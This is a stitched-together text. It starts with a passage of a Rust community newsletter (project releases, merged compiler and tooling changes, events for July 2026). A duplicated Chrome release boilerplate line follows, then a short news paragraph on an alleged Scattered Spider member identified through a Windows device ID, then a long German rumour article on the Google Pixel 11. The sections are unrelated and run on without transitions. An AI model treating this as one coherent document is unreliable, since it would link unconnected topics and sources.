• sheathe: Packaging the World's Video in Pure Rust
• wickra: streaming-first technical indicators
• Xcelerator Solver v0.1.0 -- deterministic symbolic regression
• dlt-tui 1.1.0 - a fast TUI viewer for automotive DLT (AUTOSAR Diagnostic Log and Trace) files
• RSSH v0.2.11 — terminal workflows, safer SSH key import, and observable AI ops
• k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob
• M-vis v0.5.0-rc1 update
• FlareDB: An Apache Beam Native Streaming Database built in Rust
• mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc
• RootAsRole: v4.0.0 Major release, secure execution, new logo
• A Cross-Platform Rust UI Framework via Qt’s Bridging Technology
• Jam Programming Language
• Sōzu 2.1.0: UDP load balancing for the programmable edge
• b0nker: a minimal container runtime written in Rust

Observations/Thoughts

• [video] Rust Berlin Meetup 25/06/2026 Livestream
• [video] How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter
• Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration
• bool as u32
• A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report
• Work In Progress Rust
• [video] OpenAI just spent $600k on Rust
• [audio] Rising Academies with Dylan Brown - Rust in Production Podcast

Rust Walkthroughs

• [series] Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid
• Learn Axum Basics and Routing by Building a URL Shortener
• [series] Rama 101.1: HTTPS clients and layers of abstraction

Miscellaneous

• Clickable euler diagram of all the Rust week talks

Crate of the Week

This week's crate is apis-saltans, a Zigbee implementation including a coordinator API.

Thanks to Richard Neumann for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

* Protocol - Extend bit-exactness tests to f64 reconstruction targets
* Dofigen - No image tag replacement flag for the generate command

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

598 pull requests were merged in the last week

Compiler

• enable eager param_env norm in new solver
• lint on core::ffi::c_void as a return type
• polish some macro parsing code
• resolve: no allocation in resolve_ident_in(_local)_module_*
• simplify option-iterator flattening in the compiler
• stabilize #[my_macro] mod foo; (part of proc_macro_hygiene)

Library

• add std::io::cursor::WriteThroughCursor
• implement Box::as_non_null()
• implement DoubleEndedIterator::next_chunk_back
• implement IntoIterator for [&[mut]] Box<[T; N], A>
• implement ptr::{read,write}_unaligned via repr(packed)
• move SizeHint and IoHandle to core::io
• move std::io::Seek to core::io
• optimize ArrayChunks::try_rfold with DoubleEndedIterator::next_chunk_back
• stabilize feature(atomic_from_mut)

Cargo

• bindeps: register transitive artifact targets
• avoid cloning parsed TOML manifest in ManifestErrorContext
• avoid extra clone of parsed TOML manifest
• remove unneeded cloning when parsing package index
• change HashMaps and HashSets in Cargo to use Fxhasher
• do not pass lint rustflags when --cap-lints=allow is set
• fixed Compilation::deps_output only taking the last dep
• pre-allocate a few vectors
• stabilize build-dir layout v2
• use a set when checking visited workspace members

Rustdoc

• fix crash when trying to inline foreign item which cannot have attributes
• show use-site paths for unevaluated const array lengths

Clippy

• chunks_exact_to_as_chunks: Don't report expressions with const parameters
• chunks_exact_to_as_chunks: Don't report expressions with type params
• missing_trait_methods: MSRV/unstable awareness
• vec_init_then_push: don't lint pushes from a macro expansion
• inline_modules: ignore cfg(test) modules in test builds
• match_same_arms: keep arm-level expectations working under an outer allow
• unnecessary_operation: avoid bad ! suggestions
• unnecessary_unwrap_unchecked: don't trigger inside the _unchecked fn
• add required parentheses when the needless_bool suggestion is an operand
• fix ICE when resolving local in unnecessary_unwrap_unchecked
• fix infinite_loop false positive inside gen blocks
• fix manual_c_str_literals suggestion when the trailing backslash is escaped
• fix strlen_on_c_strings incorrect suggestion logic
• fix suspicious_operation_groupings duplications
• lint bit width
• optimize Msrv::meets calls
• bail out of unicode lint scans when the snippet is pure ASCII
• skip the HIR parent walk in is_in_test_function when there are no test items
• place generated impl block after the existing impl block
• refactor StringAdd lint pass
• refactor suspicious_xor_used_as_pow
• remove lower_ty in uninhabited_reference
• respect the configured MSRV in manual_is_variant_and's map() == Some(_) rewrite
• rewrite mut_mut
• rewrite redundant_else as a late pass
• rewrite tuple_array_conversions

Rust-Analyzer

• SCIP: exclude leading/trailing trivia in definition ranges
• SCIP: remove dead inlay_hints field
• feat(ide-diagnostics): add diagnostics for invalid union patterns (E0784)
• internal(query-group-macro): remove the arity test
• add tree top method to Syntax node
• add handler for E0627
• supports multi arms for replace_match_with_if_let
• fix UB in smol_str borsh_non_utf8 test cases
• fix generic param for generate_default_from_enum_variant
• walkthrough_create_project file not packaged
• assertion failure on closure with unbound function
• avoid panic in convert_tuple_struct_to_named_struct on nested pattern usage
• configuration syntax for nvim-lsp
• correct resolution to value when it shares the same name with type
• exclude impls on the error type from impl enumeration
• fix crash on extract_variable when selecting unresolved macro call
• fix crash on completion inside macros
• fix handling of params of coroutine fns
• handle more cases of cfgs in expr store lowering
• no generate with default assoc item
• panics in unwrap_return_type, remove_underscore, and promote_local_to_const
• hoist attribute qualifier segment collection
• reduce parser joint-token allocation
• project-model: don't pass metadata extra args to sysroot
• project-model: introduce cargo.configPath
• provide startup time to ready log point and associated benchmark

Rust Compiler Performance Triage

This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet. Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.

Triage done by @panstromek. Revision range: 7dc2c162..3659db0d

Summary:

1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups 17 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Lint against invalid POSIX symbol definitions
• Document NonNull layout guarantees
• Tracking Issue for slice_split_once

• Let the OS handle stack growth
• Add target_feature_available_at_call_site

• Empty repr(Rust) enums are ZSTs

No Items entered Final Comment Period this week for Cargo, Language Team, Leadership Council, Rust RFCs or Unsafe Code Guidelines.

New and Updated RFCs

• Update RFC template
• RFC: Store registry tokens in the OS credential store by default

Upcoming Events

Rusty Events between 2026-07-08 - 2026-08-05 🦀

Virtual

• 2026-07-08 | Virtual (Cardiff, GB) | Rust and C++ Cardiff
• Operating Systems Book Club: Introduction + Processes
• 2026-07-08 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-09 | Virtual (Nürnberg, DE) | Rust Nuremberg
• Rust Nürnberg online
• 2026-07-14 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Second Tuesday
• 2026-07-15 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
• Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
• July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-16 | Virtual (Berlin, DE) | Rust Berlin
• Rust Hack and Learn
• 2026-07-19 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Rust Deep Learning: Third Sunday
• 2026-07-21 | Virtual (London, UK) | Women in Rust
• Lunch & Learn: Learning Rust as First Programming Language
• 2026-07-21 | Virtual (Washington, DC, US) | Rust DC
• Mid-month Rustful
• 2026-07-22 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Fourth Tuesday
• 2026-07-29 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
• Rust Hack and Learn
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, GB) | Women in Rust
• 👋 Community Catch Up
• 2026-07-29 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
• Indy.rs - with Social Distancing

Asia

• 2026-07-18 | Bangalore, IN | Rust Bangalore
• July 2026 Rustacean Meetup

Africa:

• 2026-07-14 | Johannesburg, ZA | Johannesburg Rust Meetup
• Debugging a production grade Open Source Rust crate

Europe

• 2026-07-08 | Dublin, IE | Rust Dublin
• Join us live and INPERSON for Rust 262
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This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

Recently unsealed US court documents reveal that Microsoft allegedly helped investigators identify an alleged member of the Scattered Spider cybercrime group by using a unique Windows Device Identifier (GDID). The case demonstrates how modern investigations rely on digital evidence from multiple sources rather than a single technical artefact. It also highlights why organisations need mature incident response plans, forensic readiness and well-tested incident  response playbooks to investigate cyber incidents effectively.

Das Pixel 11 gehört zweifellos zu den am meisten erwarteten Android-Smartphones des Jahres 2026 – und das aus gutem Grund. Auch wenn man argumentieren könnte, dass es sich nicht um eine so umfassende Neugestaltung handelte wie bei den jüngsten iPhone-17-Modellen von Apple, umfasst die Pixel-10-Reihe dennoch eine Reihe herausragender Geräte, die viele gerne als ihr Alltagsgerät nutzen.

Der verbesserte Tensor-G5-Chipsatz ermöglichte es, dass mehr von Googles hauseigenen KI-Funktionen in die integrierte Software Einzug hielten. Die Einführung von Pixelsnap bedeutete, dass Android-Fans, die schon lange neidisch auf Apples Magsafe-Technologie waren, endlich alle Vorteile genießen konnten, die eine Qi2-Magnetverbindung mit sich bringt.

Diese Verbesserungen ergänzen die üblichen Vorzüge, die wir an Pixel-Smartphones schätzen – nämlich die Art und Weise, wie ihre Kameras Hauttöne in Bildern präzise wiedergeben, sowie die wunderbar übersichtliche Gestaltung von Stock-Android. Genau aus diesem Grund finden sich Pixel-Smartphones regelmäßig in unseren Übersichten zu den besten Smartphones wieder.

Vor diesem Hintergrund sind wir gespannt, in welche Richtung Google mit der Pixel-11-Reihe als Nächstes gehen wird – insbesondere da sich der Wettbewerb durch aktuelle Android-Spitzenmodelle wie das OnePlus 15 und das Honor Magic 8 Pro weiter verschärft, ganz zu schweigen vom Oppo Find X9 Pro, das in Sachen Smartphone-Fotografie ein absolutes Kraftpaket ist.

Neueste Gerüchte zum Pixel 11

Alle Pixel-11-Modelle könnten eine umfassende Kameraüberarbeitung erfahren: Sowohl das Pixel 11 als auch das 11 Pro Fold sollen mit einem neuen 50-Megapixel-Hauptobjektiv ausgestattet werden, während das Pixel 11 Pro und das 11 Pro XL komplett neue Haupt- und Teleobjektive erhalten werden. Nachdem Gerüchte über eine Face-ID-Alternative kursierten, scheint es nun so, als würde diese Funktion auf die Modelle des nächsten Jahres verschoben werden.

Wann wird das Google Pixel 11 erscheinen?

Die Google-Pixel-11-Reihe wird voraussichtlich im August 2026 auf den Markt kommen, wahrscheinlich im Rahmen der jährlichen Sommerveranstaltung von Google. Der offizielle Termin dafür ist der 12. August 2026.

Dominik Tomaszewski / Foundry

Gerüchten zufolge soll die Pixel-11-Serie tatsächlich erneut bis zu vier Geräte umfassen. Sollte Google wie in den letzten Jahren verfahren, wird das Pixel 11 Pro Fold später auf den Markt kommen als die anderen Modelle.

Diese Dokumente bestätigen die Codenamen für die Pixel-Geräte des Jahres 2026, wobei die Pixel-11-Serie Namen mit Bärenbezug trägt, wie „cubs“ für das Standardmodell Pixel 11, „grizzly“ für das Pixel 11 Pro, „kodiak“ für das Pixel 11 Pro XL und „yogi“ für das Pixel 11 Pro Fold.

Früher brachte Google neue Smartphones im Oktober auf den Markt, hat den Termin jedoch bei den letzten beiden Generationen vorverlegt. Zum Vergleich finden Sie hier die Erscheinungsdaten der vorherigen Generationen:

• Google Pixel 10: August 2025
• Google Pixel 9: August 2024
• Google Pixel 8: Oktober 2023
• Google Pixel 7: Oktober 2022
• Google Pixel 6: Oktober 2021

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Wie viel wird das Google Pixel 11 kosten?

Die Preise für das Pixel 11 sind noch nicht bestätigt, doch sollte Google seinen jüngsten Preistrends folgen, könnte der Einstiegspreis für das Basismodell bei etwa 899 Euro liegen, während die Pro-Version möglicherweise etwa 1.099 Euro kosten würde. Die Pro XL- und Pro Fold-Versionen könnten etwa 1.299 Euro beziehungsweise 1.899 Euro kosten.

Diese Preisgestaltung würde jedoch bedeuten, dass Google an die Preise der Pixel-10-Modelle anknüpft, bei denen es im Vergleich zur Pixel-9-Serie keine Preiserhöhung gab. Es ist unwahrscheinlich, dass dies zwei Jahre in Folge geschieht; daher rechnen wir eher mit einer Preiserhöhung für die Pixel-11-Smartphones, auch wenn diese nur geringfügig ausfällt.

Ein Hinweis, der möglicherweise auf Googles Strategie hindeutet, Preiserhöhungen zu vermeiden, ist die Reduzierung der RAM-Kapazität bei den neuen Smartphones. Es scheint, als werde Google das 11 Pro und das 11 Pro XL in zwei Varianten mit entweder 12 oder 16 GB RAM anbieten.

Das 12-GB-Modell könnte die Lösung sein, mit der Google einen höheren Einstiegspreis für seine Flaggschiff-Smartphones vermeiden könnte – auch wenn dies bedeutet, dass Sie für denselben Preis nicht so viel Leistung erhalten wie bei den aktuellen Modellen Pixel 10 Pro und 10 Pro XL.

Luke Baker

Welche technischen Daten und Funktionen wird das Google Pixel 11 bieten?

Pixel 11: Design & Verarbeitung

Angesichts der Tatsache, dass Google bisher sehr zurückhaltend war, das Design seiner Smartphones grundlegend zu überarbeiten – abgesehen davon, dass die Kameraleiste ab dem Pixel 9 zu einem Visier umgestaltet wurde –, erwarten wir hier keine gravierenden Änderungen. Die jüngsten Gerüchte haben dies weitgehend bestätigt, doch es gibt einige kleinere Designanpassungen, die die neuen Pixel-Smartphones nicht nur schlanker wirken lassen, sondern auch ihre allgemeine Benutzerfreundlichkeit verbessern sollen.

Da Google zuvor erklärt hat, dass wir alle zwei bis drei Jahre mit einem Redesign rechnen können, scheint es, als werde die Pixel-12-Serie im Jahr 2027 größere Veränderungen mit sich bringen.

Was das Design des Pixel 11 betrifft, so scheint es – wie aus CAD-basierten Renderings hervorgeht – dem Pixel 10 äußerst ähnlich zu sein, mit lediglich zwei Designanpassungen. Dabei handelt es sich um einen schmaleren Rahmen um den Bildschirm sowie eine vollständig aus Glas bestehende Kameraleiste anstelle eines Metallabschnitts um den Blitz herum.

Die Abmessungen sind angeblich identisch, abgesehen davon, dass das Smartphone 0,1 Millimeter dünner ist. Bitte beachten Sie, dass die Farbe nur zur Veranschaulichung dient, da sie lediglich auf der Farbe „Lavender“ des Pixel 10a basiert.

Onleaks / Android Headlines

Als Nächstes folgt das Pixel 11 Pro, bei dem sich ein ähnliches Bild wie beim Standardmodell abzeichnet. Die Renderings scheinen ein nahezu identisches Design mit dem gleichen glänzenden Rahmen wie zuvor zu bestätigen, ergänzt durch die neue, komplett schwarze Kameraleiste.

Besonders auffällig ist, dass der Temperatursensor auf der Rückseite zu fehlen scheint. Dieser befindet sich normalerweise unterhalb des Blitzes innerhalb der Kameraleiste und könnte auf den Wegfall dieser einzigartigen, wenn auch eher nischenorientierten Funktion hindeuten.

Onleaks / Android Headlines

Und hier ist das Renderbild des Pixel 11 Pro XL, das dasselbe zeigt:

Onleaks / Android Headlines

Für das Pixel 11 Pro Fold sind online einige Renderings aufgetaucht, die eine sehr ähnliche Bauweise wie beim 10 Pro Fold zeigen – so sehr, dass man die beiden Modelle auf den ersten Blick verwechseln könnte. Bei genauerem Hinsehen fällt jedoch auf, dass der Blitz und das Mikrofon in die Kameraausbuchtung integriert wurden, um ein einheitliches Erscheinungsbild zu schaffen.

Zwar ist es unwahrscheinlich, dass diese Maßnahme allein zu einer Verbesserung der Kameraqualität des 11 Pro Fold führt, doch aus gestalterischer Sicht wirkt das Design dadurch deutlich aufgeräumter.

OnLeaks x Android Headlines

Interessanter sind die Renderings, die das 11 Pro Fold im Seitenprofil zeigen; sie deuten offenbar darauf hin, dass das Smartphone im aufgeklappten Zustand nur 4,8 Millimeter dünn und im zusammengeklappten Zustand 10,1 Millimeter dick sein wird.

Zugegebenermaßen liegt das Gerät damit noch einen Schritt hinter der Konkurrenz zurück (das Galaxy Z Fold 7 und das Honor Magic V5 sind im aufgeklappten Zustand nur 4,2 Millimeter beziehungsweise 4,1 Millimeter dünn), doch es stellt eine deutliche Verbesserung gegenüber dem 10 Pro Fold dar, das sich in der Hand etwas klobig anfühlte.

Wenden wir uns nun dem Pixel 11 Pro XL zu: Die ersten Vorstellungen davon, wie dieses Smartphone aussehen könnte, stammen nicht aus einer Reihe von Renderings, sondern vom Hüllenhersteller Thinborne, der (versehentlich?) die dazugehörige Handyhülle etwas früher als geplant vorgestellt hat.

ThinBorne

Zwar lassen sich aus einer Hülle nur begrenzt Rückschlüsse ziehen, doch die Aussparung für die Kamera deutet darauf hin, dass es einen etwas größeren, aber massiveren Kameraausleger geben könnte.

Sollte dies zutreffen, dürfte dies verhindern, dass die Kameras in Ihrer Hosentasche hervorstehen – ein Problem, das im Jahr 2026 immer größer zu werden scheint (die Kamerawölbung des Honor Magic 8 Pro ist in einer Jeans schon aus einem Kilometer Entfernung zu erkennen). Ob dies auch eine Änderung der verbauten Sensoren beim Pixel 11 Pro XL bedeutet, bleibt abzuwarten.

Was die Farbvarianten angeht, hat die Android 17 QPR1 Beta möglicherweise ein Licht auf die Sache geworfen, da sie zwei Hintergrundbilder enthält, die angeblich mit dem Pixel 11 Pro Fold in Verbindung stehen und die Namen „Lunar Tides“ sowie „Tidal Swirl“ tragen.

In der Vergangenheit waren die von Google mitgelieferten Hintergrundbilder in der Regel so gestaltet, dass sie zur Außenfarbe der jeweils neuesten Smartphones passten. Während „Lunar Tides“ einen monochromen Stil aufweist, der dem „Moonstone“-Farbdesign des 10 Pro Fold nicht allzu unähnlich ist, ist es „Tidal Swirl“, das einen dunkleren Grünton aufweist, als wir ihn von der aktuellen Generation der Pixel-Smartphones kennen.

9to5Google

Bei genauerer Betrachtung der Beta-Version lässt sich feststellen, dass diese Hintergrundbilder mit Codenamen verknüpft sind, wobei „Midnight“ und „Pine“ jeweils mit „Lunar Tides“ und „Tidal Swirl“ gepaart sind. Obwohl sich zum jetzigen Zeitpunkt noch nicht genau sagen lässt, wie viele der Pixel-11-Geräte die potenziell ansprechende „Pine“-Variante erhalten könnten, sind diese Neuigkeiten ein gutes Zeichen für alle, die eine grüne Farbvariante auf ihrem Gerät bevorzugen.

Seitdem diese „Pro Fold“-Hintergrundbilder durchgesickert sind, sind weitere aufgetaucht, die darauf hindeuten, was die anderen Smartphones der Reihe erwarten könnte – und dies deutet auf eine Gesamtstrategie hin, mit der Google möglicherweise von einigen der eher bombastischen Farben der Vergangenheit abrücken möchte.

Für das Pixel 11 liegen uns vier Hintergrundbilder vor, die alle in gedeckteren Farbtönen gehalten sind und sich deutlich vom fast neonartigen „Lemongrass“ des Pixel 10 oder dem „Berry“ des Pixel 10a unterscheiden.

• Schwarz
• Grün
• Rot/Rosa
• Lila/Grau

Mystic Leaks

Ähnlich verhält es sich mit dem 11 Pro und dem Pro XL, da diese dem gleichen Designkonzept folgen, jedoch eine leicht abweichende Farbpalette aufweisen. Sollten diese Hintergrundbilder – wie in den vergangenen Jahren – nahtlos mit den Farbvarianten der Hardware harmonieren, können wir für das Jahr 2026 eine noch raffiniertere Auswahl an Pixel-Smartphones erwarten.

• Beige/Braun
• Blau/Silber
• Grün
• Schwarz

Mystic Leaks

Pixel 11: Display

Google wird bei der Pixel-11-Serie voraussichtlich weiterhin auf hochauflösende OLED-Displays setzen, wobei Verbesserungen bei Helligkeit, Farbgenauigkeit und Bildwiederholfrequenz zu erwarten sind.

Die einzige Neuigkeit, die uns hierzu vorliegt, ist, dass Google für die Pixel-11-Reihe angeblich das Spitzenmodell M16 OLED-Panel von Samsung Display verwenden wird, womit es den iPhone-18-Pro-Modellen (und auch den Galaxy-Modellen von Samsung Mobile) zuvorkommen wird.

Es liegen zwar noch kaum Details vor, doch das Panel dürfte in puncto Helligkeit, Farbwiedergabe, Lebensdauer und Energieeffizienz das Beste bieten.

Sollte Google die Displaygröße im Vergleich zur Pixel-10-Serie nicht ändern, gelten für die Pixel-10-Modelle folgende Spezifikationen:

• Pixel 10: 6,3-Zoll-Actua-OLED, 3.000 Nits
• Pixel 10 Pro: 6,3-Zoll-Super-Actua-LTPO-OLED, 3.300 Nits
• Pixel 10 Pro XL: 6,8-Zoll-Super-Actua-LTPO-OLED, 3.300 Nits
• Pixel 10 Pro Fold: 8-Zoll-Super-Actua-Flex-LTPO-OLED, 3.000 Nits

Angesichts der aktuellen Trends könnte die Pixel-11-Serie die derzeitige Obergrenze von 120 Hertz bei der Bildwiederholfrequenz überschreiten und so flüssigeres Scrollen sowie reaktionsschnellere Interaktionen ermöglichen.

Anyron Copeman / Foundry

Pixel 11: Leistung

Google wird bei der Pixel-11-Reihe mit dem Tensor G6 auf einen neuen Chipsatz umsteigen. Auch wenn dies für niemanden eine Überraschung sein dürfte (ein neuer Tensor-Chip ist seit Jahren ein fester Bestandteil jeder neuen Generation), gibt es dieses Mal einige Verbesserungen, die einen enormen Einfluss auf die Leistung haben könnten.

Eine der ersten Informationen, auf die wir stießen, stammt noch aus der Zeit, bevor das Pixel 10 überhaupt in den Handel kam: Einem Bericht zufolge soll der neue Tensor G6 im effizienteren 2-Nanometer-Verfahren hergestellt werden, was erhebliche Auswirkungen auf die alltägliche Leistungsfähigkeit der CPU haben könnte.

Google’s Tensor G6 smartphone chip will be made with TSMC’s 2nm production process, media report, citing unnamed supply chain sources, and adding the Tensor G5 was transferred to TSMC from Samsung and will be inside Pixel smartphones later this year. Meanwhile, Tesla’ AI 5 chips…

— Dan Nystedt (@dnystedt) June 23, 2025

Geht man noch einen Schritt weiter, scheint es nun so, als würde Google auf den neuesten C1-Ultra-Kern von Arm umsteigen, der eine Taktrate von 4,11 GHz erreichen kann. Zum Vergleich: Das entspricht der Taktrate des Mediatek Dimensity 9500, der das Super-Flaggschiff Oppo Find X9 Pro antreibt.

Angesichts der Tatsache, wie stark Google die KI-Verarbeitung auf dem Gerät selbst vorantreibt, könnte ein effizienterer Tensor-Chip Google in Zukunft auch mehr Spielraum für komplexere KI-gesteuerte Aufgaben bieten.

Ein weiterer Bericht deutet darauf hin, dass Google neben dem Tensor G6 von einem Modem der Marke Samsung (was bislang die Regel war) auf ein von Mediatek hergestelltes Modem umsteigen wird.

Luke Baker

Bei dem betreffenden Modem handelt es sich um das MediaTek M90, das eine Reihe bemerkenswerter Funktionen bietet, darunter die Unterstützung von Sub-6- und mmWave-5G-Daten sowie Satellitenkonnektivität.

Die Möglichkeit, in Notfällen eine Satellitenverbindung herzustellen, ist mittlerweile eine allgemein erwartete Funktion bei Flaggschiff-Smartphones, nachdem Apple mit „Emergency SOS“ diesen Trend ins Leben gerufen hat; daher ist es naheliegend, dass Google hier der Konkurrenz einen Schritt voraus sein möchte.

Erwähnenswert ist auch, dass das Modem von Mediatek in Kombination mit dem Tensor G6 energieeffizienter sein könnte, was den Weg für eine längere Akkulaufzeit ebnet. Wir werden es erst mit Sicherheit wissen, wenn wir die Pixel-11-Smartphones zum Testen in die Hände bekommen, aber es ist eine schöne Vorstellung – zumal einige der Pixel-10-Modelle in diesem Bereich nicht gerade glänzen.

Ein bedauerliches Gerücht, das zunehmend an Bedeutung gewinnt, besagt, dass Google dem derzeit von Unternehmen wie Apple und Samsung gesetzten Trend nicht folgen wird, das 128-GB-Modell zugunsten eines 256-GB-Basismodells wegzulassen – was einer unserer größten Kritikpunkte an den bestehenden Pixel-10-Smartphones war.

128 GB Speicherplatz reichen im Jahr 2026 angesichts von Fotos, Videos und unverzichtbaren Apps einfach nicht mehr aus, daher hoffen wir aufrichtig, dass sich dieses Gerücht nicht bewahrheitet, doch es könnte letztendlich ein Ausschlusskriterium für High-End-Nutzer sein, die mehr Speicherplatz wünschen, ohne hohe Summen für ein teureres Modell oder einen Cloud-Abonnementdienst zahlen zu müssen.

Erschwerend kommt hinzu, dass die neuesten Gerüchte zum Pixel 11 nun darauf hindeuten, dass zwar die CPU-Leistung besser sein soll als zuvor, die neue GPU jedoch gar nicht so neu sein wird, da stattdessen ein PowerVR CXTP-48-1536 zum Einsatz kommen soll, der bereits im Jahr 2021 auf den Markt kam.

Luke Baker

Auch wenn die PowerVR-GPU möglicherweise eine leichte Leistungssteigerung gegenüber der Pixel-10-Reihe bietet, wäre dies dennoch eine große Enttäuschung, sollte sich dies bestätigen, da damit die derzeit an der Tensor G5 geäußerte Kritik ignoriert wird. Die Gaming-Leistung auf jedem Pixel-10-Smartphone entspricht einfach nicht dem Standard, den man von einem Flaggschiff-Gerät erwarten würde – die neuesten Galaxy-S26-Modelle sind ihnen dabei weit überlegen. Für die Gamer unter Ihnen könnte es sich lohnen, sich bei Ihrem nächsten Upgrade anderweitig umzusehen.

Interessant ist, dass – sicherlich als Reaktion auf die aktuelle Speicherkrise, die durch die KI-Entwicklung angeheizt wird – das Pixel 11 Pro und Pro XL nun offenbar mit zwei verschiedenen RAM-Varianten ausgeliefert werden sollen: eine mit 12 GB und die andere mit den üblichen 16 GB.

Zum Hintergrund: 16 GB RAM sind seit dem Pixel 9 Pro der Standard bei Googles Pixels der Pro-Klasse; dass das Unternehmen nun bei einer so zentralen Spezifikation einen Rückzieher macht, sagt viel über den aktuellen Stand der Branche aus. Dies könnte bedeuten, dass die 12-GB-Variante notwendig ist, um das 11 Pro und das Pro XL weiterhin zum gleichen Preis wie ihre Vorgängermodelle anbieten zu können.

Pixel 11: Kameras

Die Kameraausstattung der Pixel-11-Serie entwickelt sich zu einer der fortschrittlichsten, die es bei einem Flaggschiff-Smartphone gibt, wobei Google sowohl Hardware als auch KI nutzt, um die Foto- und Videoqualität zu verbessern.

Eines der herausragenden Merkmale, das vom Pixel 11 erwartet wird, ist ein Teleobjektiv der nächsten Generation, das einen bis zu 100-fachen Zoom unterstützt. Diese beeindruckende Zoomfähigkeit, unterstützt durch Algorithmen des maschinellen Lernens im Tensor-G6-Prozessor von Google, könnte darauf abzielen, ähnliche Funktionen von Wettbewerbern wie Samsung zu übertreffen oder ihnen sogar den Rang abzulaufen.

Der 100-fache Zoom ermöglicht es Nutzern, selbst aus großer Entfernung bemerkenswert detailreiche Bilder und Videos aufzunehmen, und setzt damit einen neuen Maßstab für die Zoomqualität von Smartphones. Wir wissen, dass einige der Pixel-10-Modelle einen 100-fachen Super-Res-Zoom bieten; das Pixel 11 dürfte diesem Standard daher mindestens entsprechen.

Außerdem haben wir gesehen, dass das reguläre Pixel 10 ein Teleobjektiv erhalten hat, wenn auch nicht in derselben Qualität wie die Pro-Modelle. Auch hier könnte eine Dreifach-Kamera auf der Rückseite nun zum Standard für Pixel-Smartphones werden.

Chris Martin / Foundry

Gerüchten zufolge soll das Pixel 11 zudem über einen verbesserten „Cinematic Blur“-Modus verfügen, der den immersiven „Bokeh“-Effekt in Videos verstärkt. Diese Funktion wird voraussichtlich 4K-Videos mit 30 Bildern pro Sekunde unterstützen und so eine kinoreife Qualität bieten, die das Storytelling in Videos auf ein neues Niveau hebt.

Darüber hinaus könnte eine neue „Video Relight“-Option eingeführt werden, mit der Nutzer die Lichtverhältnisse innerhalb eines aufgenommenen Videos anpassen können, um in Echtzeit Lichtveränderungen zu simulieren und den Szenen so mehr Tiefe und Dramatik zu verleihen. Diese Funktion wird Berichten zufolge von der „Cinematic Rendering Engine“ im Tensor G6 unterstützt, wodurch der Stromverbrauch, der typischerweise mit unscharfen Videoaufnahmen verbunden ist, erheblich reduziert wird.

Luke Baker

Eine weitere spannende Neuerung ist der „Ultra Low Light Video“-Modus, auch als „Night Sight Video“ bezeichnet, der darauf ausgelegt ist, die Videoqualität bei schlechten Lichtverhältnissen zu verbessern.

Im Gegensatz zu früheren „Night Sight“-Videomodi, die eine Cloud-Verarbeitung erforderten, soll diese Funktion dank der fortschrittlichen Bildverarbeitungsfähigkeiten des Tensor-G6-Chips vollständig auf dem Gerät selbst ausgeführt werden.

Android Authority berichtet, dass Google den „Ultra Low Light Video“-Modus so konzipiert hat, dass er in Umgebungen mit einer Umgebungshelligkeit zwischen 5 und 10 Lux – was in etwa der Helligkeit eines schwach beleuchteten Raums oder von Kerzenlicht entspricht – optimale Ergebnisse liefert.

Dominik Tomaszewski / Foundry

Durch die vollständige Verlagerung dieses Prozesses auf das Gerät könnte die Pixel-11-Serie ihren Nutzern die Möglichkeit bieten, hellere und klarere Videos bei schlechten Lichtverhältnissen aufzunehmen, ohne dass eine Internetverbindung erforderlich ist.

